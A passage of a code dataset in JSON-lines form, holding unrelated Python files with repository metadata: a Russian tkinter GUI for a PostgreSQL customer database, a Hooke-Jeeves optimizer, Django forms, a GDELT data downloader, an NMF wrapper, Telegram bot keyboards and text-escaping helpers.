as cur:\n cur.execute(\"\"\"\n DELETE \n FROM customer \n WHERE customer_id = %s;\n \"\"\", (aid, ))\n self.conn.commit()\n\n# 4.Функция, позволяющая изменить данные о клиенте. (часть 1)\n def update_customer(self, aid, aname, asurname, amail):\n ''' изменение данных клиента'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n UPDATE customer\n SET name_customer = %s, surname_customer = %s, email = %s\n WHERE customer_id = %s;\n \"\"\", (aname, asurname, amail, aid))\n self.conn.commit()\n\n def create_parameter(self, param) -> str:\n '''формирование параметра для запроса поиска клиента'''\n if param is None or param == '':\n return '%'\n else:\n return '%' + param + '%'\n\n# 7.Функция, позволяющая найти клиента по его данным: имени, фамилии, email или телефону. (часть 1)\n def find_customer(self, aname=None, asurname=None, amail=None, aphone=None) -> list:\n ''' поиск клиента по его данным. поиск ведется по любому из параметров -\n имя, фамилия, почта и телефон как отдельно, так и в произвольной комбинации'''\n aname = self.create_parameter(aname)\n asurname = self.create_parameter(asurname)\n amail = self.create_parameter(amail)\n aphone = self.create_parameter(aphone)\n with self.conn.cursor() as cur:\n if aphone == '%': # если для поиска НЕ задан номер телефона\n cur.execute(\"\"\"\n SELECT DISTINCT name_customer, surname_customer, email, phone_number, customer_id\n -- SELECT name_customer, surname_customer\n FROM customer\n LEFT JOIN phone USING (customer_id)\n WHERE name_customer LIKE %s\n AND surname_customer LIKE %s\n AND email LIKE %s\n \"\"\" , (aname, asurname, amail))\n else: # если для поиска задан номер телефона\n cur.execute(\"\"\"\n SELECT DISTINCT name_customer, surname_customer, email, phone_number, customer_id\n -- SELECT name_customer, surname_customer\n FROM customer\n LEFT JOIN phone USING (customer_id)\n WHERE name_customer LIKE %s\n AND surname_customer LIKE %s\n AND email LIKE %s\n AND phone_number LIKE %s\n \"\"\" , (aname, asurname, amail, aphone))\n return cur.fetchall()\n\n def list_of_customers(self) -> list:\n ''' список клиентов'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n SELECT customer_id, name_customer, surname_customer, email\n FROM customer\n ORDER BY customer_id;\"\"\")\n return cur.fetchall()\n\n def list_of_phones(self) -> list:\n ''' список телефонов'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n SELECT phone_id, CONCAT(name_customer,' ', surname_customer) AS fio, phone_number\n FROM customer\n JOIN phone USING (customer_id)\n ORDER BY fio;\n \"\"\")\n return cur.fetchall()\n\n def select_customer_by_id(self, aid):\n ''' поиск клиента по номеру'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\" \n SELECT *\n FROM customer\n WHERE customer_id = %s;\n \"\"\", (aid,))\n return cur.fetchone()\n\n def select_phones_of_customer(self, aid):\n ''' список номеров телефонов заданного клиента (по номеру клиента)'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n SELECT phone_id, phone_number\n FROM phone\n WHERE customer_id = %s;\n \"\"\", (aid,))\n return cur.fetchall()\n\n# 5.Функция, позволяющая удалить телефон для существующего клиента. (часть 1)\n def delete_phone(self, aid):\n ''' удаление телефона по его идентификационному номеру'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n DELETE \n FROM phone \n WHERE phone_id = %s;\n \"\"\", (aid, ))\n self.conn.commit()\n\n# 3.Функция, позволяющая добавить телефон для существующего клиента. (часть 1)\n def insert_new_phone(self, aid, anumber):\n ''' добавление нового телефона для клиента (по номеру клиента)'''\n with self.conn.cursor() as cur:\n cur.execute(\"\"\"\n INSERT INTO phone (customer_id, phone_number)\n VALUES (%s, %s);\n \"\"\", (aid, anumber))\n self.conn.commit()\n\n\nclass Wind():\n ''' класс для создания GUI для управления операциями с базой данных'''\n def __init__(self):\n self.secondform = None\n self.inp_name = None\n self.inp_surname = None\n self.inp_mail = None\n self.inp_phone = None\n self.client_num = None\n self.phone_combo = None\n self.phone_id = None\n\n def create_tables(self):\n ''' формируем таблицы для вывода данных'''\n columns_cust = ('name', 'surname', 'email')\n self.table1 = ttk.Treeview(self.frame, columns=columns_cust, show=\"headings\", height=10)\n self.table1.pack(anchor=N, fill=BOTH, expand=1, side='top')\n self.table1.heading('name', text='имя', anchor=W)\n self.table1.heading('surname', text='фамилия', anchor=W)\n self.table1.heading('email', text='e-mail', anchor=W)\n self.table1.column(\"#1\", width=3)\n self.table1.column(\"#2\", width=5)\n self.table1.column(\"#3\", width=10)\n\n columns_phone = ('surname', 'phone')\n self.table2 = ttk.Treeview(self.frame, columns=columns_phone, show=\"headings\")\n self.table2.pack(anchor=N, fill=BOTH, expand=1, side='top', pady=5)\n self.table2.heading('surname', text='владелец', anchor=W)\n self.table2.heading('phone', text='телефон', anchor=W)\n self.table2.column(\"#1\", width=10)\n self.table2.column(\"#2\", width=10)\n\n def fill_tables(self):\n ''' заполнение таблиц главной формы содержимым таблиц бд'''\n for customer in base.list_of_customers():\n self.table1.insert(\"\", END, values=customer[1:])\n for phone in base.list_of_phones():\n self.table2.insert(\"\", END, values=phone[1:])\n\n def center_position(self, width, height) -> str:\n '''создаем строку с параметрами для расположения формы по центру экрана'''\n screen_w = self.root.winfo_screenwidth()\n screen_h = self.root.winfo_screenheight()\n # отступы слева-справа и сверху-снизу одинаковы\n left = (screen_w - width) // 2\n top = (screen_h - height) // 2\n return f'{width}x{height}+{left}+{top}'\n\n# 7.Функция, позволяющая найти клиента по его данным: имени, фамилии, email или телефону. (часть 2)\n def find_operation(self):\n '''вывод результата поиска клиента по его данным, если число найденных клиентов превышает 10,\n выводится только количество найденных клиентов\n '''\n lst = base.find_customer(self.inp_name.get(), self.inp_surname.get(),\n self.inp_mail.get(), self.inp_phone.get())\n dct = {}\n for el in lst:\n dct.setdefault(el[4], {'name': None, 'surname': None, 'email': None, 'phone': []})\n dct[el[4]]['phone'].append(el[3])\n dct[el[4]]['name'] = el[0]\n dct[el[4]]['surname'] = el[1]\n dct[el[4]]['email'] = el[2]\n info = f'Количество найденных клиентов: {len(dct)}'\n if len(dct) < 11:\n for v in dct.values():\n pstr = ''\n lst = v[\"phone\"]\n for el in v[\"phone\"]:\n if el:\n pstr += ' ' + el + '\\n\\t '\n if not pstr:\n pstr = 'нет телефона\\n'\n info += f'\\n имя: {v[\"name\"]}' \\\n f'\\n фамилия: {v[\"surname\"]}'\\\n f'\\n e-mail: {v[\"email\"]}'\\\n f'\\n телефон: {pstr}'\n tkinter.messagebox.showinfo('Результаты поиска клиента', info)\n self.secondform.destroy()\n\n def refresh_tables(self):\n ''' обновление содержимого таблиц формы'''\n self.table1.delete(*self.table1.get_children())\n self.table2.delete(*self.table2.get_children())\n self.fill_tables()\n\n def on_close_second_form(self):\n ''' закрытие дополнительной формы и обновление таблиц формы'''\n self.secondform.destroy()\n self.refresh_tables()\n\n# 2.Функция, позволяющая добавить нового клиента. (часть 2)\n def add_customer(self):\n ''' выполнение запроса на добавление нового пользователя и обновление таблиц формы'''\n base.insert_new_customer(self.inp_name.get(), self.inp_surname.get(), self.inp_mail.get())\n self.on_close_second_form()\n\n# 6.Функция, позволяющая удалить существующего клиента. (часть 2)\n def del_customer(self):\n ''' выполнение запроса на удаление пользователя и обновление таблиц формы'''\n base.delete_customer(self.client_num)\n self.on_close_second_form()\n\n# 4.Функция, позволяющая изменить данные о клиенте. (часть 2)\n def change_customer(self):\n ''' выполнение запроса на изменения данных пользователя и обновление таблиц формы'''\n base.update_customer(self.client_num, self.inp_name.get(), self.inp_surname.get(), self.inp_mail.get())\n self.on_close_second_form()\n\n# 1.Функция, создающая структуру БД (таблицы). (часть 2)\n def back_to_initial_state(self):\n ''' удаляем все таблицы бд, создаем их снова и записываем в них тестовые данные'''\n base.create_tables()\n base.initialize_tables()\n self.refresh_tables()\n\n# 5.Функция, позволяющая удалить телефон для существующего клиента. (часть 2)\n def del_phone(self):\n ''' удаление выбранного телефона у выбранного клиента'''\n self.phone_id = int(self.phone_combo.get()[0])\n base.delete_phone(self.phone_id)\n self.on_close_second_form()\n\n# 3.Функция, позволяющая добавить телефон для существующего клиента. (часть 2)\n def add_phone(self):\n ''' добавление нового телефона выбранному клиенту'''\n if len(self.inp_phone.get()) > 0:\n base.insert_new_phone(self.client_num, self.inp_phone.get())\n self.on_close_second_form()\n\n def on_item_selection(self, par):\n ''' обработка события выбора клиента в комбобоксе - заполнение полей данных клиента\n par - параметр события выбора строки комбобокса'''\n self.client_num = int(self.combo.get()[0])\n # данные из base.select_customer_by_id -> (2, 'Петр', 'Петров', 'petrpetrov@mail.ru')\n cort = base.select_customer_by_id(self.client_num)\n if not self.inp_name:\n return\n self.inp_name.delete(0, END)\n self.inp_surname.delete(0, END)\n self.inp_mail.delete(0, END)\n self.inp_name.insert(0, cort[1])\n self.inp_surname.insert(0, cort[2])\n self.inp_mail.insert(0, cort[3])\n\n def on_select_customer(self, par):\n ''' обработка события выбора клиента в комбобоксе - формирование списка телефонов'''\n self.client_num = int(self.combo.get()[0])\n lst = base.select_phones_of_customer(self.client_num)\n lst = [str(el[0]) + ': ' + el[1] for el in lst]\n self.phone_combo.set('') #прочистка активной строки\n self.phone_combo['values'] = [] #прочистка всего списка\n if lst:\n self.phone_combo['values'] = lst\n self.phone_combo.current(0)\n\n def create_second_form(self, width, height, title):\n ''' создание дополнительной формы'''\n self.secondform = Toplevel(self.root)\n self.secondform.geometry(self.center_position(width, height))\n self.secondform.title(title)\n\n def set_client_entries(self, parent):\n ''' размещение на дополнительной форме элементов ввода данных клиента'''\n width_e = 25\n lbl_name = Label(parent, text='имя')\n lbl_surname = Label(parent, text='фамилия')\n lbl_mail = Label(parent, text='e-mail')\n lbl_name.grid(row=0, column=1, padx=10, pady=10, sticky=E)\n lbl_surname.grid(row=1, column=1, padx=10, pady=10, sticky=E)\n lbl_mail.grid(row=2, column=1, padx=10, pady=10, sticky=E)\n self.inp_name = Entry(parent, width=width_e)\n self.inp_name.grid(row=0, column=2, padx=10, pady=10)\n self.inp_surname = Entry(parent, width=width_e)\n self.inp_surname.grid(row=1, column=2, padx=10, pady=10)\n self.inp_mail = Entry(parent, width=width_e)\n self.inp_mail.grid(row=2, column=2, padx=10, pady=10)\n\n# 7.Функция, позволяющая найти клиента по его данным: имени, фамилии, email или телефону. (часть 3)\n def open_find_customer_form(self):\n ''' форма для поиска клиента по его данным'''\n self.create_second_form(250, 250, 'Поиск клиента')\n self.set_client_entries(self.secondform)\n lbl_phone = Label(self.secondform, text='телефон')\n lbl_phone.grid(row=3, column=1, padx=10, pady=10, sticky=E)\n self.inp_phone = Entry(self.secondform, width=20)\n self.inp_phone.grid(row=3, column=2, padx=10, pady=10)\n frm = Frame(self.secondform)\n frm.grid(row=4, column=2, pady=20)\n btn1 = Button(frm, text='Искать', width=12, command=self.find_operation)\n btn1.grid(column=2, row=0)\n\n def set_combobox_for_select_customer(self, parent, on_select=None):\n ''' размещение на форме комбобокса для выбора клиента'''\n self.combo = Combobox(parent, width=30, state='readonly')\n lst = [str(el[0]) + ': ' + el[1] + ' ' +el[2] for el in base.list_of_customers()]\n self.combo['values'] = lst\n self.combo.grid(column=0, row=0, padx=10, pady=10)\n self.combo.current(0)\n self.combo.bind(\"<>\", on_select)\n\n# 4.Функция, позволяющая изменить данные о клиенте. (часть 3)\n# 6.Функция, позволяющая удалить существующего клиента. (часть 3)\n def open_del_edit_customer_form(self):\n '''форма для выбора существующего клиента для выполнения операций:\n изменение данных клиента,\n удаление клиента'''\n self.create_second_form(500, 200, 'Редактирование или удаление клиента')\n self.set_combobox_for_select_customer(self.secondform, self.on_item_selection)\n self.set_client_entries(self.secondform)\n frm = Frame(self.secondform)\n frm.grid(row=7, column=2, pady=30)\n btn1 = Button(frm, text='Записать', width=12, command=self.change_customer)\n btn1.grid(column=0, row=0)\n btn2 = Button(frm, text='Удалить', width=12, command=self.del_customer)\n btn2.grid(column=1, row=0)\n\n# 2.Функция, позволяющая добавить нового клиента. (часть 3)\n def open_new_customer_form(self):\n '''форма для добавления нового клиента'''\n self.create_second_form(250, 200, 'Новый клиент')\n self.set_client_entries(self.secondform)\n frm = Frame(self.secondform)\n frm.grid(row=7, column=2, pady=30)\n btn1 = Button(frm, text='Записать', width=12, command=self.add_customer)\n btn1.grid(column=0, row=0)\n\n# 3.Функция, позволяющая добавить телефон для существующего клиента. (часть 3)\n# 5.Функция, позволяющая удалить телефон для существующего клиента. (часть 3)\n def open_add_delete_phone_form(self):\n ''' форма для выполнения операций с телефоном:\n - добавить номер телефона существующему клиенту,\n - удалить номер телефона у существующего клиента\n '''\n self.create_second_form(550, 250, 'Операции с телефоном')\n frm1 = Frame(self.secondform)\n frm1.pack(side=TOP)\n self.set_combobox_for_select_customer(frm1, self.on_select_customer)\n lbl_phone = Label(frm1, text='Новый телефон')\n lbl_phone.grid(row=0, column=1, padx=10, pady=10, sticky=E)\n self.inp_phone = Entry(frm1, width=23)\n self.inp_phone.grid(row=0, column=2, padx=10, pady=10)\n lbl_phone_combo = Label(frm1, text='Имеющиеся телефоны')\n lbl_phone_combo.grid(row=1, column=1, padx=10, pady=10, sticky=E)\n self.phone_combo = Combobox(frm1, width=20, state='readonly')\n self.phone_combo.grid(column=2, row=1, padx=10, pady=10)\n frm2 = Frame(self.secondform)\n frm2.pack(side=BOTTOM, pady=20)\n btn1 = Button(frm2, text='Записать', width=12, command=self.add_phone)\n btn1.pack(side=LEFT, padx=10)\n btn2 = Button(frm2, text='Удалить', width=12, command=self.del_phone)\n btn2.pack(side=LEFT)\n\n def create_main_menu(self):\n '''главное меню программы'''\n mainmenu = Menu(self.root)\n self.root.config(menu=mainmenu)\n opermenu = Menu(mainmenu, tearoff=0)\n opermenu.add_command(label='инициализация таблиц базы данных (возврат к исходным значениям)',\n command=self.back_to_initial_state)\n opermenu.add_command(label='добавление нового клиента',\n command=self.open_new_customer_form)\n opermenu.add_command(label='добавление телефона существующего клиента',\n command=self.open_add_delete_phone_form)\n opermenu.add_command(label='изменение данных существующего клиента',\n command=self.open_del_edit_customer_form)\n opermenu.add_command(label='удаление телефона существующего клиента',\n command=self.open_add_delete_phone_form)\n opermenu.add_command(label='удаление клиента',\n command=self.open_del_edit_customer_form)\n opermenu.add_command(label='поиск клиента по его данным (имени, фио, email или телефону)',\n command=self.open_find_customer_form)\n mainmenu.add_cascade(label='Операции', menu=opermenu)\n mainmenu.add_command(label='Выход', command=self.root.quit)\n\n def set_main_form(self):\n self.root = Tk() # главная форма программы\n self.root.title('Таблицы клиентов и их телефонов')\n self.root.geometry(self.center_position(600, 500))\n self.create_main_menu()\n self.frame = Frame(self.root, padx=5, pady=5)\n self.frame.pack(expand=True, fill=BOTH, side='top')\n self.create_tables()\n\n\nif __name__ == '__main__':\n base = Base()\n base.set_connection()\n base.create_tables()\n base.initialize_tables()\n\n app = Wind()\n app.set_main_form()\n app.fill_tables()\n app.root.mainloop()\n\n base.close_connection()","repo_name":"NetologyTestSB/SQL_4_GUI_home_work","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":26843,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22152482343","text":"import random\r\nfrom typing import Callable\r\n\r\n\r\nclass Vector:\r\n x: float = 0\r\n y: float = 0\r\n\r\n def __init__(self, x, y):\r\n self.x = x\r\n self.y = y\r\n\r\n def __repr__(self):\r\n return f'({round(self.x, 4)}, {round(self.y, 4)})'\r\n\r\n def __add__(self, other):\r\n x = self.x + other.x\r\n y = self.y + other.y\r\n return Vector(x, y)\r\n\r\n def __sub__(self, other):\r\n x = self.x - other.x\r\n y = self.y - other.y\r\n return Vector(x, y)\r\n\r\n def __eq__(self, other):\r\n return self.x == other.x and self.y == other.y\r\n\r\n def __truediv__(self, other):\r\n x = self.x / other\r\n y = self.y / other\r\n return Vector(x, y)\r\n\r\n def __rmul__(self, other):\r\n x = self.x * other\r\n y = self.y * other\r\n return Vector(x, y)\r\n\r\n def __mul__(self, other):\r\n x = self.x * other\r\n y = self.y * other\r\n return Vector(x, y)\r\n\r\n\r\ndef func_r(v: Vector) -> float:\r\n return (1 - v.x) ** 2 + 100 * ((v.y - v.x ** 2) ** 2)\r\n\r\n\r\ndef exploring(p0: Vector,\r\n h1: float,\r\n h2: float,\r\n func: Callable) -> Vector:\r\n if func(p0 + Vector(h1, 0)) < func(p0):\r\n p1 = p0 + Vector(h1, 0)\r\n elif func(p0 - Vector(h1, 0)) < func(p0):\r\n p1 = p0 - Vector(h1, 0)\r\n else:\r\n p1 = p0\r\n\r\n if func(p1 + Vector(0, h2)) < func(p1):\r\n p2 = p1 + Vector(0, h2)\r\n elif func(p1 - Vector(0, h2)) < func(p1):\r\n p2 = p1 - Vector(0, h2)\r\n else:\r\n p2 = p1\r\n\r\n return p2\r\n\r\n\r\ndef sample(x1: Vector,\r\n x2: Vector,\r\n gamma: float = 2) -> Vector:\r\n return x1 + gamma * (x2 - x1)\r\n\r\n\r\ndef hook_jeeves(func,\r\n point_0: Vector,\r\n h1: float = 1.0,\r\n h2: float = 1.0,\r\n h_min: float = 1e-10,\r\n alpha: float = 0.5,\r\n gamma: float = 2.0,\r\n iters: int = 5000,\r\n ) -> (Vector, int):\r\n\r\n global i\r\n\r\n point_exploring = point_0\r\n\r\n for i in range(iters):\r\n\r\n point_1 = exploring(point_exploring, h1, h2, func)\r\n\r\n if func(point_1) < func(point_0):\r\n point_exploring = sample(point_0, point_1, gamma)\r\n point_0 = point_1\r\n else:\r\n if h1 < h_min and h2 < h_min:\r\n break\r\n else:\r\n if h1 > h_min:\r\n h1 = h1 * alpha\r\n if h2 > h_min:\r\n h2 = h2 * alpha\r\n point_exploring = point_0\r\n\r\n return point_0, i\r\n\r\n\r\nprint('\\n\\t\\t ~ Реализация метода Хука-Дживса ~ ')\r\nprint('_'*60)\r\n\r\nyn = int(input('\\nЗадать начальную точку самостоятельно? да-1 нет-0\\t->\\t'))\r\n\r\nif yn == 1:\r\n a, b = map(int, input('\\n\\tВведите координаты начальной точки через пробел: ').split())\r\n point = Vector(a, b)\r\nelse:\r\n point = Vector(random.randint(-10, 10), random.randint(-10, 10))\r\n\r\nmin_point, iteration = hook_jeeves(func=func_r,\r\n point_0=point)\r\n\r\nprint('\\n\\tАлгоритм выполняется ...\\n')\r\nprint('_'*60)\r\nprint('Алгоритм выполнился', iteration, 'раз')\r\nprint('Минимум функции в точке (x, y) = ', min_point)\r\nprint('Значение функции F(x, y) = ', round(func_r(min_point), 6))\r\nprint('_'*60)\r\n","repo_name":"Whalesiya/Lab_MO_Hook_Jeeves","sub_path":"hook_jeeves.py","file_name":"hook_jeeves.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"10638744345","text":"from django.forms import ModelForm\nfrom .models import *\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom django import forms\n\n## new user form\nclass createuserform(UserCreationForm):\n\n email = forms.EmailField(required=True)\n \n class Meta:\n model=User\n fields=['username', 'email'] \n \n def save(self, commit=True):\n user = super(createuserform, self).save(commit=False)\n user.email = self.cleaned_data['email']\n if commit:\n user.save()\n return user\n\n## class for adding a quiz question\nclass addQuestionform(ModelForm):\n quiz = models.ForeignKey(QuizModel, on_delete=models.CASCADE)\n class Meta:\n model=QuesModel\n fields=\"__all__\"\n exclude = ['quiz']\n\n def __init__(self, *args, **kwargs):\n super(addQuestionform, self).__init__(*args, **kwargs)\n self.fields['op3'].required = False\n self.fields['op4'].required = False\n\n## class for adding a personality question\nclass addPersform(ModelForm):\n quiz = models.ForeignKey(QuizModel, on_delete=models.CASCADE)\n class Meta:\n model=PersModel\n fields=\"__all__\"\n exclude = ['quiz']\n def __init__(self, *args, **kwargs):\n super(addPersform, self).__init__(*args, **kwargs)\n \n## class for adding a quiz form\nclass addQuizform(ModelForm):\n class Meta:\n model=QuizModel\n fields=\"__all__\"\n exclude = ['creator']\n def __init__(self, *args, **kwargs):\n self.creator = 'creator'\n super(addQuizform, self).__init__(*args, **kwargs)\n\n## class for adding a personality form\nclass addPersonalityform(ModelForm):\n class Meta:\n model=Personality\n fields=\"__all__\"\n exclude = ['quiz']\n\n\n\n\n\n","repo_name":"leoleader/sherry","sub_path":"quiz/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14872277268","text":"import os\nimport sys\nimport requests\nimport zipfile\n\nTHEME = 7\nLOCATION = 9\nPERSON = 11\nORGANISATION = 13\n\nFILELOC = \"masterfilelist-translation.txt\"\n\ndef adding(buff,l):\n if l != []:\n buff += l\n\ndef writing(g,line):\n if line != []:\n g.write(str(line)+\"\\n\")\n\ndef link(i):\n with open(FILELOC,'r') as f:\n l = f.readlines()\n return l[i*3+2].split()[2]\n\ndef download(link,name):\n print(\"Working on \"+link)\n r = requests.get(link)\n with open(\"temp.zip\",'wb') as f:\n f.write(r.content)\n zip = zipfile.ZipFile(r'temp.zip')\n zip.extractall(\"raw data/\" + name)\n return name + \"/\" + os.listdir(\"raw data/\" + name)[0]\n\ndef correct():\n #remove []\n with open(\"data/gdelt.data\",'r') as f:\n with open(\"data/gdelt.data2\",'w') as g:\n for line in f:\n print(line)\n if len(line) > 3:\n g.write(line)\n\ndef getnumberline(path):\n with open(\"raw data/\" + path,'r') as f:\n for i,line in enumerate(f):\n ()\n return(i)\n\n\n\ndef main(file,rule = 'a'):\n jtemp = 0\n with open(\"raw data/\" + file,'r') as f:\n with open(\"data/gdelt.data\",rule) as g:\n for i,line in enumerate(f):\n buff = []\n try:\n adding(buff,line.split(\"\\t\")[THEME].split(\";\")[:-1])\n except:\n print(\"ERROR on line: \" + str(i) + \" of file: \" + file)\n try:\n adding(buff,line.split(\"\\t\")[LOCATION].split(\";\")[:-1])\n except:\n print(\"ERROR on line: \" + str(i) + \" of file: \" + file)\n try:\n adding(buff,line.split(\"\\t\")[PERSON].split(\";\")[:-1])\n except:\n print(\"ERROR on line: \" + str(i) + \" of file: \" + file)\n try:\n adding(buff,line.split(\"\\t\")[ORGANISATION].split(\";\")[:-1])\n except:\n print(\"ERROR on line: \" + str(i) + \" of file: \" + file)\n writing(g,buff)\n jtemp += 1\n\n return jtemp\n\n\n\n\nif __name__ == \"__main__\":\n i = 0\n j = 0\n while(j < 1000000):\n namei = \"gdelt\" + str(i)\n if not os.path.isdir(\"raw data/\" + namei):\n linki = link(i)\n ni = download(linki,namei)\n j += main(ni,'a')\n print(\"work done for \" + str(i))\n else:\n ni = namei + \"/\" + os.listdir(\"raw data/\" + namei)[0]\n print(\"work skip for \" + str(i))\n j += getnumberline(ni)\n print(\"Actually there is \" + str(j) + \" edges\")\n i += 1\n","repo_name":"jrogala/hdrf","sub_path":"gdelt.py","file_name":"gdelt.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70035969150","text":"__author__ = 'aymgal'\n\n\"\"\"Implementation of the Block-SDMM algorithm for NMF (Moolekamp & Melchior 2017)\n\nFOR NOW it is just a wrapper around 'proxmin' by the authors above,\nforked here :https://github.com/aymgal/proxmin\n\"\"\"\n\nfrom proxmin import nmf\nfrom proxmin import operators\n\n\n_kwargs_proxmin_default = {\n 'W': None, # optional weights\n 'prox_A': operators.prox_plus,\n 'prox_S': operators.prox_plus,\n 'proxs_g': None,\n 'steps_g': None,\n 'Ls': None,\n 'slack': 0.9,\n 'update_order': None,\n 'steps_g_update': 'steps_f',\n 'max_iter': 1000,\n 'e_rel': 1e-3,\n 'e_abs': 0,\n 'traceback': None,\n 'custom_prox_likelihood': None,\n}\n\n\nclass BlockSDMM(object):\n\n def __init__(self, Y, A0, S0, kwargs_proxmin=None):\n self.Y_matrix = Y\n self.A_matrix_init = A0\n self.S_matrix_init = S0\n if kwargs_proxmin is None:\n kwargs_proxmin = _kwargs_proxmin_default\n self.kwargs_proxmin = kwargs_proxmin\n\n def optimize(self):\n A, S, hist = nmf.nmf_with_prox_f(self.Y_matrix, \n self.A_matrix_init, \n self.S_matrix_init, \n **self.kwargs_proxmin)\n return A, S, hist\n","repo_name":"aymgal/MuSLIT","sub_path":"MuSLIT/optimizer/bsdmm.py","file_name":"bsdmm.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"9865686770","text":"import jinja2\nimport pkg_resources\n\n__all__ = [\n 'config',\n 'sge',\n 'condor',\n 'user_msgs',\n]\n\n_web_tmpl_loader = jinja2.Environment(loader=jinja2.PrefixLoader({\n 'web': jinja2.PackageLoader('starcluster.templates', 'web'),\n}))\n\nget_web_template = _web_tmpl_loader.get_template\n\n_tmpl_loader = jinja2.Environment(\n loader=jinja2.PackageLoader('starcluster', 'templates'))\n\nget_template = _tmpl_loader.get_template\n\n\ndef get_resource(pkg_data_path, stream=True):\n pkg_res_meth = pkg_resources.resource_filename\n if stream:\n pkg_res_meth = pkg_resources.resource_stream\n return pkg_res_meth('starcluster.templates', pkg_data_path)\n\n\nTemplateNotFound = jinja2.TemplateNotFound\n","repo_name":"aniket486/StarCluster","sub_path":"starcluster/templates/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"} +{"seq_id":"34360681574","text":"from telebot.types import (ReplyKeyboardMarkup, KeyboardButton,\n InlineKeyboardMarkup, InlineKeyboardButton)\nimport db\n\n\nclass InlineKB(InlineKeyboardMarkup):\n\n DEFINITIONS = {'main_kb': ['Премии', 'Напоминания', 'Задания',\n 'Темы дня', 'Трениги', 'Штрафы'],\n\n 'admin_kb': ['Темы дня+', 'Дни рождения+', 'Премии+',\n 'Штрафы+', 'Задания+', 'Тренинги+',\n 'Напоминания+', 'Сообщения']}\n\n def __init__(self, row_width=3):\n super().__init__(row_width=row_width)\n\n def generate_kb(self, category=None, go_back=False, *args, **kwargs):\n \"\"\"\n :param args: Buttons names\n :param kwargs: Buttons names with specific callback data key is callback_data value is button name\n :param category: Type of keyboard\n :param go_back: Add back button\n \"\"\"\n\n if category is not None:\n args = self.DEFINITIONS[category]\n\n buttons = [InlineKeyboardButton(b, callback_data=b) for b in args]\n\n if kwargs:\n k_buttons = [InlineKeyboardButton(b, callback_data=d) for d, b in kwargs.items()]\n self.add(*buttons + k_buttons)\n\n else:\n self.add(*buttons)\n\n if go_back:\n self.go_back()\n\n return self\n\n def go_back(self):\n\n self.add(InlineKeyboardButton('<< Назад <<', callback_data='back'))\n return self\n\n def done_or_not(self, task_id):\n \n self.add(InlineKeyboardButton(f'\\N{White Heavy Check Mark}', callback_data=f'done-{task_id}'),\n InlineKeyboardButton(f'\\N{Cross Mark}', callback_data=f'not_done-{task_id}'))\n self.add(InlineKeyboardButton('<< Назад <<', callback_data='back'))\n\n return self\n\n def message_kb(self):\n\n self.add(InlineKeyboardButton(f'>>>', callback_data=f'Сообщения'))\n\n return self\n\n def show_users(self, category):\n\n buttons = []\n\n for user in db.User.objects():\n buttons.append(InlineKeyboardButton(user.name, callback_data=f'add-{category}-{user.id}'))\n\n self.add(*buttons)\n return self\n","repo_name":"FightForDobro/DOMINOHOMME_RoboManager","sub_path":"angry_katya_bot/keyboards.py","file_name":"keyboards.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75274477310","text":"#!/usr/bin/python3\ndef new_in_list(my_list, idx, element):\n \"\"\"A function that replaces an element of a list at a specific position\n without modifying thew original list\n\n Args:\n my_list: list object containing integers\n idx: the index of the element to be replaced\n element: element to be inserted\n\n Returns: Original list if idx is negative or out of range, otherwise\n returns (copied) modified list with element at index idx replaced\n\n \"\"\"\n new_list = my_list.copy()\n if idx >= 0 and idx < len(my_list):\n new_list[idx] = element\n return new_list\n","repo_name":"AdebayoEmmanuel/alx-higher_level_programming","sub_path":"0x03-python-data_structures/4-new_in_list.py","file_name":"4-new_in_list.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42643866767","text":"import html\nimport re\nimport functools\nimport inspect\n\n\nlatex_subs = (\n (re.compile(r'\\\\'), r'\\\\textbackslash'),\n (re.compile(r'([{}_#%&$])'), r'\\\\\\1'),\n (re.compile(r'~'), r'\\~{}'),\n (re.compile(r'\\^'), r'\\^{}'),\n (re.compile(r'\"'), r\"''\"),\n (re.compile(r'\\.\\.\\.+'), r'\\\\ldots'),\n)\n\n\ndef indent(st, levels=4):\n \"\"\"Indent string by the given number of spaces or the given indentation\n string\"\"\"\n\n levels = ' ' * levels if isinstance(levels, int) else levels\n lines = [indent + x for x in st.splitlines()]\n return '\\n'.join(lines)\n\n\ndef html_escape(x, keep_newlines=False):\n \"\"\"Escape unsafe HTML characters such as < > & etc\"\"\"\n\n if keep_newlines:\n data = [html_escape(x) for x in x.splitlines()]\n return '\\n'.join(data)\n return html.escape(x)\n\n\ndef tex_escape(value):\n \"\"\"Escape unsafe LaTeX characters.\n\n LaTeX escaping is unreliable. The grammar can change arbitrarily and some\n othewise safe characters may become unsafe and vice versa. This function\n just offer a decent escape that works in most situations.\"\"\"\n\n new = value\n for pattern, replacement in latex_subs:\n new = pattern.sub(replacement, new)\n return new\n\n\ndef static(func):\n \"\"\"Uses python 3 type hints as static checks\"\"\"\n\n # Process spec info\n spec = inspect.getfullargspec(func)\n arg_hints = {key: hint for (key, hint) in spec.annotations.items()\n if isinstance(hint, type)}\n ret_hint = arg_hints.pop('return', None)\n arg_T = [arg_hints.get(name) for name in spec.args]\n 